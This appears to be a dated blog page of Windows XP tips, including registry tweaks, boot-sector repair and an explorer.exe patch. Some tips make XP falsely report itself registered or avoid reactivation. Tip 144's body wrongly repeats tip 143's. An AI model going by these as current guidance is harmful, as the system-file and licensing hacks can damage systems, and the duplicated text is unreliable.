You can provide added level of security to your WINDOWS XP System. This is called securing your Windows XP accounts database. You can store all information related to your accounts in a encrypted form on a floppy disk. What this would do is that if You do not have access to your floppy disk, You can not access the system. I am not sure You realized what I just said ! Even if You know your userid/password, You will not be able to access the system unless and until You have this startup disk.
Process of generating the this secure startup floppy disk is simple. Go to START-RUN and type syskey. You would see a window coming up. Click on Upgrade command button. You would see another window poping up which will give You the option of storing the encrypted accounts database either locally or on your floppy disk. Choose floppy disk and click OK and let the process complete. You are done.
Next time You reboot the computer and get to the logon prompt, make sure that You have the floppy disk available in A: drive else You can not log on.
126. How to disable images using Outlook express
This has been an issue to few folks. Basically what happens is that when your receive your email, you get lot of junk mail which are formatted with HTML etc. Some of them are not suitable to your taste but also take some time to load. There are some alternative ways to block the load of images but each has its advantage and disadvantages:
1) Disable images in IE as it also affects OE
2) If you're running a firewall with rules make a rule that blocks OE's access to port 80. That way it can't get the images it needs.
3) There is a utility called DetachXP. This program could be used to apply the blocking even though its primary aim is to allows you to access these blocked files in Outlook 2002, without editing the Windows Registry manually

127. How to restart Windows without restarting your computer
This one is again is. When you click on the SHUTDOWN button, make sure to simultaneous press SHIFT Button. If you hold the Shift key down while clicking on SHUTDOWN button, you computer would restart without restarting the Computer. This is equivalent to term"HOT REBOOT".

128. How to print content of directory
Here work around is to create a DOS batch file with command to print the dir content into your printer port (make sure you know what is your printer port, in general it is LPT1 but it could be USB001 if you have it connected to USB port, right click on the printer icon and go to port tab and figure this out first) and then creating a context menu access this batch functionality. All right here are the instructions:
step 1:
Open a text editor, such as Notepad, and type the following lines into a new document: (assuming the printer you wish to use is connected to printer port #1).
CD %1
DIR >LPT1

Save the two-line file into your Windows\Command folder, and call it PRINTDIR.BAT.
step 2:
Find the file in Explorer, right click on it, and select Properties.
Click on the Program tab, turn on the Close on Exit option, choose Minimized from the Run list, and click Ok.
Next, run the Registry Editor (REGEDIT.EXE) by going to START-RUN and type regedit and navigate to
[\HKEY_CLASSES_ROOT\Directory\shell]. Select New from the Edit menu, and then select Key. Type Print for the name of this new key, and press Enter. Highlight the new Print key, select New from the Edit menu, and then select Key again. Type command for the name of this new key, and press Enter. Double-click on the (default) value in the right pane, and type C:\Windows\Command\PRINTDIR.BAT (assuming that C:\Windows\ is your Windows folder).
From now on, when you right-click on a folder icon, you can click Print to print its contents. Note: this assumes that your printer is connected to the LPT1 port, which is true for most users. However, if your printer is connected over a network or you have more than one printer, you need to change LPT1 to the correct port.

129. Using third part defrag utility ? Make it defrag all files
I read about this tip on web. If you are using a third party defrag utility, you can make it defrag all files. Go to C:\Windows\Prefetch directory and removing/deleting layout.ini file.

130. Speedup boot time by improving NTFS check
CHKNTFS is the command used to set the AUTOCHK initiation count down time. You can reduce it from default 9 seconds to a much lower value say 4 seconds. Go to command prompt and type CHKNTFS/T:4 This command would set the AUTOCHK initiation count time down to 4.

131. How to kill the IE About windows that popup from time to time
There is an Internet Explorer vulnerability to which allows some web sites to open a hidden popup tracking minimized window either upon your first visit or when you leave their web site or even when you close your browser while one of their web pages is still displayed. They do this by using the little known "about:" browser built-in command into their HTML/DHTML/XML code. Sometimes this window Go undetected as these are not resizable as you come to expect of a typical window app. If you do not have anything specific with www.about.com, there could be a registry tweak that you can do. Run the Registry Editor (REGEDIT.EXE) by going to START-RUN and type regedit and navigate to [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\
Internet Settings\ZoneMap\ProtocolDefaults]
and add two DWORD keys"about" and "about:" and set its value to 4.

IMPORTANT DISCLAIMER: Doing this tweak would mean that you would not be able to use the blank about page as your startup page. There is a workaround for this by adding it to your zone ...but I do not like it and hence not mentioning it here.

132. What is Master Bood Record ? How to fix problems with master boot record
So what is Master Boot Record (MBR)? Master boot record is the first sector of the disk that is accessed by you computer BIOS as soon as it boots up. So what does it mean ? It means that your ability to boot to a particular operating system depends upon the correctness of Master Bood Record. If you have ever installed two or more operating system, your ability to select an operating system is controlled by master boot record. Assume if you are not able to boot due to your dislike of the changes in boot loader process or corruption in MBR (btw, this could happen for a variety of reasons, right from virus to your own experiments with multi boot process.. I have seen this happening a lot on my PC since I have a dual cpu system with Mandrake 8.1 on one partition and Windows XP on another with Mandrake graphical Master Boot Menu ) you have to correct the master boot record.
Assuming you are in Windows XP, you have to put WINDOWS XP CD in your drive and make it reboot next time in recovery console.
1. Simplest way to do this would be to would be to navigate to START-RUN and type D:\i386\winnt /cmdcons (D: is the CDROM drive in my computer) and let the process finish and reboot.
2. Once rebooted, system would prompt you to choose recovery console and chose it by entering proper menu id number (by default should be 1). Once console is loaded do enter this command FIXMBR /device/harddisk0 (where harddisk0 refers to C: drive where WINDOWS XP is installed by default). This would fix your master boot record to default XP boot. By the way FIXMBR command is only available from recovery console. What to know more about FIXMBR, visit Microsoft TechNet site

If you have followed the instructions correctly, you are done.

133. How to write a new partition boot sector to the system partition
Are you look for a way to correct the partition boot sector, here is a quick fix. You have to put WINDOWS XP CD in your reboot the computer next time in recovery console. Here are the steps after you put your XP CD and boot into recovery console (Choose R for Recovery console when Windows XP setup disk starts)
1. Once console is loaded do enter this command FIXBOOT C:(where C: is the hard disk drive where WINDOWS XP is installed by default). To know more about FIXBOOT options, click here to visit Microsoft Technet site

If you have followed the instructions correctly, you are done.

134. How to change the text in START Button in task bar ?
I have received many emails from users on this topic. In Windows XP Pro, you can change your Start button and you are not even restricted with 5 characters as it used to be the case in previous version of Windows but the process itself of modifiying the start button is a bit more tedious than what it used to be. Anyways, gist of act is to modify your
1. First of all, make a backup of your explorer.exe This is one of the most important executables of your operating system and incase you make a mistake, you should have its backup to fall back on to ! You will see this file in C:\Windows directory. Go there, make a copy and change its name to something you remember like "explorerold.exe or explorer.old".
2. Download a freeware called ResourceHacker by going to http://www.rpi.net.au/~ajohnson/resourcehacker
3. Now, lauch resource hacker and locate your explorer.exe by going to c:\windows. Now go to String Table>37>1033. This is where the START text is located. Change it whatever you would like....
4. Once done with the changing START button text, click on the button called "Compile Script". Now its time to save the changes. Important: Save the file as explorer_modified.exe (or something similar). You can not save it as explorer.exe as file is in use as you are exploring the directories etc etc.
5. All right, reboot the computer and boot into safe mode in command prompt environment (at boot time press 'F8' a few times...) and log in as administrator.
6. Now all that you need to do is to copy the modified explorer file to original one.
Type this at command prompt "copy c:\windows\explorer_modified.exe to c:\windows\explorer.exe" (without quotes)
7. Reboot your computer as you would normally do.

If you have followed the steps correctly, you should have new explorer by now.

135. How to disable screen saver in Windows XP ?
One of the easiest things that you can do to remove screen saver is to simply select none from the Screen Saver tab of Desktop properties window. This should help. Doing this would be all that most of us would ever need for those few who want to go one more level, here is what you can do. Windows has a default screen saver called login.scr, which runs even if no screen saver has been selected. There is a potential security risk here as login.scr can be removed and replaced with malicious screen saver with system priviledges.
To resolve this, Open registry and navigate to [HKEY_USERS\.DEFAULT\Control Panel\Desktop] and look for the data key "ScreenSaveActive". Setting its value to 0 would disable screen saver (you can always enable it by setting it back to 1). You may as well change the login.scr that is goes as the value of data key 'SCRNSAVE.EXE' .Try clearing out the value for 'SCRNSAVE.EXE' to completely remove the screen saver or replace it with some thing of your own.

136. How to stop XP from displaying unread messages count on Welcome Screen?
I received few mails from users requesting HowTo on disabling unread message count from Welcome Screen.
To stop XP from displaying count of unread messages, Open registry and navigate to [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\UnreadMail] and look for the data key "MessageExpiryDays". If you do not see this key, create one DWORD key by the name "MessageExpiryDays". Setting its value to 0 would stop Windows XP from displaying the count of unread mesages.

137. How to rollback a device driver ?
There are times when you install an ungrade to a device driver but instead of getting an upgrade you get downgraded in the sense that either you loose on performance or its stoping functioning at all. In situation like this where you are still able to logon with System priviledges, you can roll back the driver. Even though this can not be considered as a tweak, but it could save you a good deal of time and disappointment.
Here are the steps:

Step:1 Log in with an administrator account
Step:2 Right click on My Computer
Step:3 Select Properties
Step:4 Click on the Hardware tab
Step:5 Click on the Device Manager button
Step:6 Select the device you want to rollback or reconfigure
Step:7 Click on the Driver tab and then click on the Roll Back Drive button

138. Windows XP Command Line Reference
You would be surprised to know what you can do from command line of Windows XP Pro. Windows XP Pro comes equipped with a powerful set of command line utilities. If you want to know what they are and how to run them and a good decription of each of them...go no futher.. Its available right in your computer. This is again not a tip or trick or tweak of any kind but information that is as powerful as any of the tips/tricks.

Open START-RUN window and type C:\WINDOWS\Help\ntcmds.chm
Also you may not know that .chm is the windows help file extension. I find the Windows Help to be a very good starting point to learn all the power and resources of Windows environment. I like section of NETSH and Windows scripting host among other things. You can read most of it in the reference but here I am doing a cut/paste of the new command line tools.

The following table lists the new Windows XP Professional command-line tools.
Command Features

bootcfg Configures, queries, or changes Boot.ini file settings.
defrag Locates and consolidates fragmented boot files, data files, and folders on local volumes.
diskpart Manages disks, partitions, or volumes.
driverquery Queries for a list of drivers and driver properties.
eventcreate Enables an administrator to create a custom event in a specified event log.
eventquery Lists the events and event properties from one or more event logs.
eventtriggers Displays and configures event triggers on local or remote machines.
fsutil Manages reparse points, managing sparse files, dismounting a volume, or extending a volume.
getmac Obtains the media access control (MAC) address and list of network protocols
helpctr Starts Help and Support Center.
ipseccmd Configures Internet Protocol Security (IPSec) policies in the directory service, or in a local or remote registry. Ipseccmd is a command-line version of the IP Security Policies Microsoft Management Console (MMC) snap-in.
logman Manages and schedules performance counter and event trace log collections on local and remote systems.
openfiles Queries, displays, or disconnects open files.
pagefileconfig Displays and configures the paging file Virtual Memory settings of a system.
perfmon Enables you to open a Performance console configured with settings files from Windows NT 4.0 version of Performance Monitor.
prncnfg Configures or displays configuration information about a printer.
prndrvr Adds, deletes, and lists printer drivers from local or remote print servers.
prnjobs Pauses, resumes, cancels, and lists print jobs.
prnmngr Adds, deletes, and lists printers or printer connections, in addition to setting and displaying the default printer.
prnport Creates, deletes, and lists standard TCP/IP printer ports, in addition to displaying and changing port configuration.
prnqctl Prints a test page, pauses or resumes a printer, and clears a printer queue.
relog Extracts performance counters from performance counter logs into other formats, such as text-TSV (for tab-delimited text), text-CSV (for comma-delimited text), binary-BIN, or SQL.
sc Retrieves and sets information about services. Tests and debugs service programs.
schtasks Schedules commands and programs to run periodically or at a specific time. Adds and removes tasks from the schedule, starts and stops tasks on demand, and displays and changes scheduled tasks.
shutdown Shuts down or restarts a local or remote computer.
systeminfo Queries the system for basic system configuration information.
taskkill Ends one or more tasks or processes.
tasklist Displays a list of applications, services, and the Process ID (PID) currently running on either a local or a remote computer.
tracerpt Processes event trace logs or real-time data from instrumented event trace providers and allows you to generate trace analysis reports and CSV (comma-delimited) files for the events generated.
typeperf Writes performance counter data to the command window or to a supported log file format.
WMIC Eases the use of Windows Management Insturmentation (WMI) and systems managed through WMI.

139. Enable 5th zone setting in Internet Explorer 6.0
I read about this a few days ago. There a fith setting in Internet Explorer 6 called my computer which is diabled by default. If you want to enable this, Open registry by going to START-RUN and entering regedit and then navigate to [HKEY_CURRENT_USER\Software\Microsoft\ Windows\CurrentVersion\InternetSettings\Zones\0] and look for the data value called "flags". Its default value is 33 ("Flags"=dword: 0X00000021 ) . Chage its value 1 and reboot. Now you should see an option called my computer in Internet Explorer 6 Zone settings.

140. Are you annoyed by XP asking for registration again & again ?
First of all, this trick must only be used by those who have legal copy of XP and are troubled by registrations reminders every now and then. Before you begin, make sure PC must not be connected to the network. During XP setup answer no when setup asks you to use Windows Dynamic Update. Dynamic update connects to Microsoft to register XP. Once the installation is completed, reboot to Safe mode.
Go to Windows Explorer and rename %systemroot%\System32\regwizc.dll and %systemroot%\System32\Dllcach\regwizc.dll to regwizc.dll.bak or whatever. By renaming the regwizc DLL, it blocks other windows components from registering XP to Microsoft.
Now, navigate to [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion] and look for the data key "RegDone" and set its value to 1 to make XP believe that its registered .
Change the IE home page to something besides Microsoft's web site.
Reboot to Normal mode and reconnect your nic card before the XP Windows GUI loads.

141. Turn off the descriptions that poppup when you place the cursor on windows object
If you want to turn off the descriptions that poppup when you place the cursor above desktop icons or Explorer objects, you can use the following registy hack: .
Navigate to [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion \Explorer\Advanced] and look for the data key "ShowInfoTip" and set its value to 0 to disable it. In future if you want to enable it again, simply change it back to 1 .

142. Disable XP warning on low disk space ?
XP warns you on three different occassions with messages related to low disk space.
when this is true : 80 MB < free disk space < 200 MB The following alert displays for 10 seconds, once per session: You are running out of disk space on [drive]. To free space on this drive by deleting old or unnecessary files, click here.
when this is true : 50 MB < free disk space < 80 MB The following alert displays for 30 seconds, every four hours, twice per session: You are running very low on disk space on [drive]. To free space on this drive by deleting old or unnecessary files, click here.
when this is true : 0 MB < free disk space < 50 MB The following message for 30 seconds, every five minutes, until free space is above 50 MB: You are running very low on disk space on [drive]. To free space on this drive by deleting old or unnecessary files, click here.

Navigate to [HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Policies\Explorer] and look for the data key "NoLowDiskSpaceChecks" and set its value to 1 to disable low disk space check

143. Improve system performance by disabling last access/update feature
NTFS file system in XP maintains liast access/update details for each file and directory. This information is useful sometimes but for an average user this may not be of much use most of the times. Doing this takes considerable resources and as such it may make sense to diable it. Even after disabling it you still have access to last modified info which would still be available. To disable lass access update feature, do as follows:

Navigate to [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem] and look for the data key "NtfsDisableLastAccessUpdate" and set its value to 1 to disable lass access update feature.

144. How to enable/disable command prompt extension ?
NTFS file system in XP maintains liast access/update details for each file and directory. This information is useful sometimes but for an average user this may not be of much use most of the times. Doing this takes considerable resources and as such it may make sense to diable it. Even after disabling it you still have access to last modified info which would still be available. To disable lass access update feature, do as follows:

Navigate to [HKEY_CURRENT_USER\Software\Microsoft\Command Processor] and look for the data key "EnableExtensions" and set its value to 1 to enable command prompt extension or 0 to disable this feature.
You can enable/disable the extensions for the command shell you are in by issuing the following commands:
cmd /y disables command extensions for this cmd session
cmd /x enables command extensions for this cmd session

145. Do you hate that "Local Area Connection A network cable is unpluged" or MSN-Messenger icon in your System Tray and want to get rid of that ?

Right Click on "Start" Menu
Click "Properties" Tab
Click "Taskbar" Tab
Click "Hide inactive icons" if not Checked
Click on "Customize" Button
Click the Notification item you want to change under Current Items
Select "Always Hide" behaviour under the Behavior column

Click "Ok" and then click "Apply".

146. How do I get Volume Control icon in system tray that is available with all earlier version of Windows ?

To add the Volume Control icon to the taskbar
Click on "Start" Button
Click on "Control Panel"
Click on "Sound, Speech, and Audio Devices"
Click on "Adjust the system volume" or "Change Speaker Settings" or Sounds and Audio Devices
Click "Place volume icon in the taskbar" in Device Volume Secion on "Volume" Tab
Click on "Apply"

If you cann't see the Speaker icon in your system tray then do the following additional settings.
Right-click the taskbar
Click "Properties".
Select the "Hide inactive icons" check box, under "Notification area", on the "Taskbar" tab,
Click "Customize" Button.
In the Name column, click Volume
Click "Always show" behaviour from the drop down list, in the Behavior column
Click "OK" and then "Apply" Buttons.

147. Enable drag and drop operation to add custom menu links to Start Menu

Right Click on "Start" Menu
Click "Properties"
Click "Start Menu" Radio Button
Click on "Customize" Button
Click on "Advanced" Tab
Click "Enable draggin and dropping" Checkbox.
Click "Ok" and then click "Apply"

148. Enable On board processing on Network Cards
Some of the new Network cards ( I know one from 3COM has it) do provide capabilities of offloading some of the network protocol functionality like checksum from CPU. This is helpful since its free your CPU time and in a nutshell increases the CPU response time and overall speed by allowing CPU to do other jobs. It may not work on all cards of some of the cheap models but nothing wrong in giving it a try. To implement this tip, do as follows:

Navigate to [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters] and look for the data key "DisableTaskOffload" and set its value to 0 to enable the task offload. By default if key is present, its set to 1 to disable the task off load. If this tweak does not have desired effect, you can change it back to 1.

website address

2008-06-13T05:21:00.000-07:00

1. Not sure of website address and want to try out all possible options ?
Most of the computer users would choose to type less if they are given such an option. Problem is for many of us, to find that option itself is challenging enough! Anyway I am talking to those folks who don't have habit of typing complete domain names and want the computer/Internet to do the job. Here are some of the registry changes that can widen your search domain.. If in Internet options, Display result and go to most likely site or just go to most likely site is enabled, you can type only the domain root in the Address box and Internet Explorer attempts to locate the correct Web site by searching different domain types. For example, if you type "Microsoft" in the Address box, Internet Explorer searches the domain types in the Autoscan list until a domain name match is found (in this case, www.microsoft.com).
By default, Internet Explorer searches the following domain types when the Autoscan Common Root Domains option is enabled:.
.com, .org, .net, .edu
To add a domain type to the Autoscan search list, add the string value "" with a value of "%s." and a string value "" with a value of "www.%s." (without quotation marks), where is the next available number and is the domain type, under the following registry key: HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Internet Explorer/Main/Url Template For example, if you want to add the .gov domain type and there are already 7 domain types listed, add a string value "8" with a value of "%s.gov" and a string value "9" with a value of www.%s.gov. NOTE: The order in which Internet Explorer searches domains is based on the string value.For example, the domain type associated with string value 1 is searched before the domain type associated with string value 2.

2. Attention LAPTOP Users ! Do your eyes a favor, use Clear Type Fonts.
Hi everyone! May be you have already realized the importance of clear type font by now. A new feature that must be a boon to all those people who are spending their life staring these monitor screens!. After years of research, it has been noticed that Clear Type Fonts are best way to prolong you Laptop computer experience. Windows XP comes equipped with it and you can change the setting to use Clear Type fonts. What is not so simple to do is to even change the Welcome (logon) screen to used Clear Type. I have got hand of a tip that might be of help to you installing clear type fonts at logon screen. Save following to a .reg file and import it in registry.
[HKEY_CURRENT_USER\Control Panel\Desktop]
"FontSmoothing"="2"
"FontSmoothingType"=dword:00000002

[HKEY_USERS\.DEFAULT\Control Panel\Desktop]
"FontSmoothing"="2"
"FontSmoothingType"=dword:00000002
For those of you who do not know how to use clear type fonts in normal session here are the instructions: Right click on at any free area of the desktop and go to appearance tab of Display Properties. Click on effects and check the box saying "use following methods to smooth edges of screen fonts" and select clear type.

3. Fine tune Internet connection speed: Tip on changing QoS parameter.
This tweak deals with QoS parameter manipulation. There have been some confusion as to what can be achieved in real terms by changing the QoS parameter. Microsoft has finally released an article correcting describing the behavior of QoS parameter. I am providing a link to Microsoft web site knowledgebase article http://support.microsoft.com/directory/article.asp?ID=KB;EN-US;q316666. In brief though, this tweak would only work on QoS aware programs and rest of the programs would simply ignore them. Networking Quality of Service (QoS) refers to a variety of techniques that prioritize one type of traffic or program when these operate across a network connection rather than relying solely on "best effort" connectivity. Please click on how to change QoS parameter article using Group Policy Editor (GPEDIT.MSC).By default, programs can reserve up to an aggregate bandwidth of 20 percent of the underlying link speed on each interface on an end computer. If the program that reserved the bandwidth is not sending enough data to utilize it completely, the unused portion of the reserved bandwidth is available for other data flows on the same host. This default parameter can be changed.

4. Further fine tune Internet access speed: Tip on improving DNS resolution.
Internet browsing is such an exciting and easy experience now a days that we have almost forgotten the amount of work that goes behind the scene to make this all happen. We only feel bad if we can't find something easily or have to wait for a long time (I have heard many people saying WWW stands for world wide wait not too long ago!!!) Well with changes in technology and falling prices we have far better hardware and software to do this job but fruits of fine tuning have always been great and would continue to remain so. One of the things that should happen before Internet connection would go through is DNS resolution.DNS stands for Domain Name Service. Even though XP does a fine job of handling DNS resolution, you may still gain by increase the DNS Cache size. To do this you would have to add following entries in registry. Save what is written below in say "dnstuning.reg" file and import it in REGISTRY but opening registry editor and going to IMPORT option from top menu.
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters]
"CacheHashTableBucketSize"=dword:00000001
"CacheHashTableSize"=dword:00000180
"MaxCacheEntryTtlLimit"=dword:0000fa00
"MaxSOACacheEntryTtlLimit"=dword:0000012d

5. Want to remove shared documents folder from My Computer window ? Microsoft has done a fabulous job in the making of Windows XP. But least to say, no two people are alike. Some of the default features that Microsoft thought was good may not be liked by you at all. I have read various newsgroups and chats and one thing I noticed is that some don't like my shared documents folder option. If you are one of that, here is a trick to remove it.Open registry editor by going to START-RUN and entering regedit. Once in registry, navigate to key HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Explorer \ My Computer \ NameSpace \ DelegateFolders You must see a sub-key named {59031a47-3f72-44a7-89c5-5595fe6b30ee}. If you delete this key, you have effectively removed the my shared documents folder.

6. Want to have more options in the Add/Remove program list ?
All programs that are available on your Windows XP system are not available for removal. For example wordpad. I mean you don't want to remove wordpad from Add/Remove program list, but that serves just as an example. So why are some programs in the list and some not. Its not a game of Random numbers. There many a few unique methods through which we can control what appears on list and what does not. If you have installed Windows in C: drive , Go to C:\WINDOWS\inf (substituting the correct drive letter for your version of Windows) and open the sysoc.inf file. File contents looks like this: See the components that have word HIDE as second last item on the row. This hide tells system to not to display those items/apps in the Add/Remove program list. If you want to have this item in list, simply replace it with blank. I think you understand what am I saying
[Version]
Signature = "$Windows NT$"
DriverVer=07/01/2001,5.1.2600.0
[Components]
NtComponents=ntoc.dll,NtOcSetupProc,,4
WBEM=ocgen.dll,OcEntry,wbemoc.inf,hide,7
Display=desk.cpl,DisplayOcSetupProc,,7
Fax=fxsocm.dll,FaxOcmSetupProc,fxsocm.inf,,7
NetOC=netoc.dll,NetOcSetupProc,netoc.inf,,7
iis=iis.dll,OcEntry,iis.inf,,7
com=comsetup.dll,OcEntry,comnt5.inf,hide,7
dtc=msdtcstp.dll,OcEntry,dtcnt5.inf,hide,7
IndexSrv_System = setupqry.dll,IndexSrv,setupqry.inf,,7
TerminalServer=TsOc.dll, HydraOc, TsOc.inf,hide,2
msmq=msmqocm.dll,MsmqOcm,msmqocm.inf,,6
ims=imsinsnt.dll,OcEntry,ims.inf,,7
fp_extensions=fp40ext.dll,FrontPage4Extensions,fp40ext.inf,,7
AutoUpdate=ocgen.dll,OcEntry,au.inf,hide,7
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7
RootAutoUpdate=ocgen.dll,OcEntry,rootau.inf,,7
IEAccess=ocgen.dll,OcEntry,ieaccess.inf,,7
Games=ocgen.dll,OcEntry,games.inf,,7
AccessUtil=ocgen.dll,OcEntry,accessor.inf,,7
CommApps=ocgen.dll,OcEntry,communic.inf,HIDE,7
MultiM=ocgen.dll,OcEntry,multimed.inf,HIDE,7
AccessOpt=ocgen.dll,OcEntry,optional.inf,HIDE,7
Pinball=ocgen.dll,OcEntry,pinball.inf,HIDE,7
MSWordPad=ocgen.dll,OcEntry,wordpad.inf,HIDE,7
ZoneGames=zoneoc.dll,ZoneSetupProc,igames.inf,,7
[Global]
WindowTitle=%WindowTitle%
WindowTitle.StandAlone="*"

7. How to verify XP software you bought is OEM/UPGRADE/RETAIL?
I am sure we all have noticed Microsoft product marketing strategy. Whenever they launch any new product line,there are various flavors of it available right from day one. Some are given adjectives like UPGRADE version or FULL, others RETAIL v/s OEM and then of-course we have various categories of the product like HOME, PRO , SERVER , ADVANCED SERVER etc etc. Well ever wondered what you bought is same as what was advertised ? How to tell the difference. Here comes the help. Look for a file called Setupp.ini that is present on your Windows XP CD and double click on it and browse its content. There is a field called PID=. This PID is what would tell us exactly what we have got.First 5 bytes of PID decide whether (it is OEM or RETAIL or is an UPGRADE ) and last three digits determine what kind of CD KEY will it accept. Here are some of the typical PID values:
Retail = 51882 335
Volume License = 51883 270
OEM = 82503 OEM

8. Group Policy Editor: Extremely powerful tool in Microsoft XP Operating System.
Have you heard of group policy editor ? This is one of the most powerful tool that Microsoft XP comes bundled with that most of us don't even know about. I recently discovered it by accident. Learn more about it at Group Policy Editor section of this site but in brief it can be used to carry out powerful customizations and performance tuning of your system. Go to START-RUN and enter gpedit.msc

9. Have tendency to forget passwords ? Want a solution that will help you get back in business ?
Most of us have a common tendency of forgetting passwords. If you don't every forget anything, I envy you and this may not be of much use to you but for most of us, this may be a life saver. If you're running Windows XP Professional as a local user in a workgroup environment, you can create a password reset disk by following instruction as shown below:
Go to START-CONTROL PANEL-USER ACCOUNTS. Then click your account name and further on in RELATED TASKS, click PREVENT A FORGOT PASSOWRD. A wizard would come up, follow instructions and you have your password reset disk ready.
IMPORTANT NOTE: As it goes with things like password, make sure that you keep this disk at secure location else you risk tress passing with your user account.

10. Want to change font size of Internet Explorer content on the fly ?
Do you know that font size of many of the web sites can be changed as per your view pleasure. Yea ! You know about it but do not want to take those additional steps. I hear you ! Here is a tip. If you have a mouse that has scrolling button then fond changing is as easy as pressing CTRL key and rotating scrolling button either towards you (to increase) or away from you (to decrease). Try it out. It works for me.

11. Start menu is slow in responding? Want to boost response time of start menu ?
Windows XP is touted as a new generation of OS Xperience. No doubt about that but this experience come at a cost. Resources. If your hardware configuration (read CPU,RAM) is not upto speed but still want to boost response time of start menu, here are a few tricks that might help. Open registry editor by going to START-RUN and entering regedit and navigate to key HKEY_CURRENT_USER \ Control Panel \ Desktop \ MenuShowDelay . Change the value (default may be 400) to 5 or 50 or even 0. This should speed up. If you are not all that crazy for shadowy effects, you can further speed the things up by going to DISPLAY Properties Window and from there to appearance and over there clicking Advanced command button and check off Show menu shadow.

12. Want to enhance Network throughput? Try out this tip.
Network throughput depends on a variety of factors and as such you never no what could be the bottleneck. One of things that we can try out is the network redirector reserves.Open registry editor by going to START-RUN and entering regedit and navigate to key [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters]. One here, click on right pane and added following Dwords. Dwords are in hexadecimal (and value as shown below indicates that of 104, valid values are 0-255). Keep both values same. I think default is 15 or 20. This may help networkthrough put but there is no guarantee. Try it out.
"MaxCmds"=dword:00000068
"MaxThreads"=dword:00000068

13. Change the default search engine in Internet explorer?
Default search engine of Microsoft Internet explorer is MSN. But there are better search engines available. I like yahoo.com and you may have your own preference. Recently I came across article that indicated how to change the default search engine through registry. Open registry editor by going to START-RUN and entering regedit and navigate to following three keys separately and change it as shown below:

[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
"Search Page"="http://www.google.com"
"Search Bar"="http://www.google.com/ie"
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\SearchURL]
""="http://www.google.com/keyword/%s"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Search]
"SearchAssistant"="http://www.google.com/ie"
(This example is specific to google but there is a Microsoft article that I found on their support site which described show to do it for many other engines. Read all of it at: http://support.microsoft.com/directory/article.asp?ID=KB;EN-US;q198279

14. Heard of Microsoft Platform Support Reporting Tool?
Are you having a tough time with Microsoft Windows XP and feel like lost ! If this is the case and you are working with Microsoft Support team, Ask them about MPS reporting tool. This tool can create a LITE or FULL version of a CAB file that could be useful for Microsoft Support person or even you. Learn more about MPSRPT_XP.exe
IMPORTANT DISCLAIMER: I got this tool from Microsoft because I was facing serious problems with my DVD-RAM and even after working with Microsoft, I could not have it resolved. Finally I got this executable from Microsoft Support team requesting that I should give him the CAB file generated as a result of this tool.

15. How to remove recycle bin from your desktop ?
Open Regedit by going to START - RUN and type Regedit and hit enter. Then you should navigate to following entry in registry
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\
Desktop\NameSpace\{645FF040-5081-101B-9F08-00AA002F954E} and delete it. This action should remove recycle bin from your desktop.

16. How to create a XP Bootable Disk?
Go to window explorer and right click on the floppy drive. Select checkbox for Create an MS-DOS startup disk and format the disk. This is all that is needed to create a MS-DOS startup disk in Windows XP

17. Being forced to reinstall but want to avoid reactivation?
Once you activate your copy of Windows XP operating system,A file gets created/updated in windows/system32 directory. It is called wpa.dbl file. I have noticed that if you need to reinstall, take a backup of this file and once you have reinstalled the OS, just copy it back to the same directory.
IMPORTANT DISCLAIMER: THIS IS ONLY FOR THOSE WHO HAVE INSTALLED A LEGAL COPY OF WINDOWS XP ON THEIR MACHINE AND HAVE ALREADY ACTIVATED THE SOFTWARE THROUGH MICROSOFT PLEASE UNDERSTAND THAT IF YOU INSTALL OPERATING SYSTEM ON ANOTHER MACHINE (MEANING MORE THAN ONE) YOU SHOULD HAVE A VALID LEGAL COPY AND LICENSE AND SHOULD ACTIVATE THAT COPY THROUGH MICROSOFT

18. Having problems with new install ? Like to restore your system quickly?
This can be achieved in couple of ways. Depending upon how you look at it, Quickest way may be to open command prompt and typing SFC /SCANNOW or you can go to START - ALL PROGRAMS - ACCESSORIES - SYSTEM TOOLS and click System Restore:
IMPORTANT NOTE: You would go back to previous fully functional operating system image and may loose all your changes that may have affected system files.

19. Having problem with slow boot time or is it taking long to resume ?
There are a variety of reasons why your windows XP system would boot slowly. Most of the times it this has to do with the startup applications. If you would like to speed up the bootup sequence, consider removing some of the startup applications that you do not need. Easiest way to remove startup apps is through System Configuration Utility (Go to START-RUN and enter MSCONFIG) and going to Startup tab and deselecting application(s) that you do not want to startup at boot time. If this works, great ! If not you can also look into SERVICES tab and possibly deselect WORKSTATION option and see if that helps.Want to know more about boot time and what Microsoft is doing about it ? Visit Microsoft web site on fast boot /fast resume at http://www.microsoft.com/hwdev/platform/performance/fastboot/default.asp Go to Download section and you would see a software called Bootvis.exe. It is Microsoft Boot Performance trace visualization tool and has option to optimize your boot sequence. Read my step by step guide to using bootvis.EXE.
IMPORTANT NOTE: If you deselect WORKSTATION option from SERVICE tab and reboot, a warning message window may come the very next time which you can choose not be displayed by checking "do not show this message again" option.

20. What to do with "the system has recovered from a serious error......" error ?
Whenever Windows XP encounters a problem (that it thinks is serious even if you did not do anything unusual) it creates a dump file. Next time you reboot, you most likely see this error message. Clicking on more information shows error signature and other clumsy details. Typically minidump would be stored in \WINDOWS\MINIDUMP directory. It is not so easy to decipher this information. Best thing to do is to go to Windows Online Crash Analysis site at http://oca.microsoft.com and submit report ( or check status if you have already submitted the report). You may need to signon with Microsoft .Net Passport and if you don't have you may need to create one by supply some basic information about yourself..
Following are some of actions that you can take to avoid this error from cropping up.
Temporarily disabling error reporting:
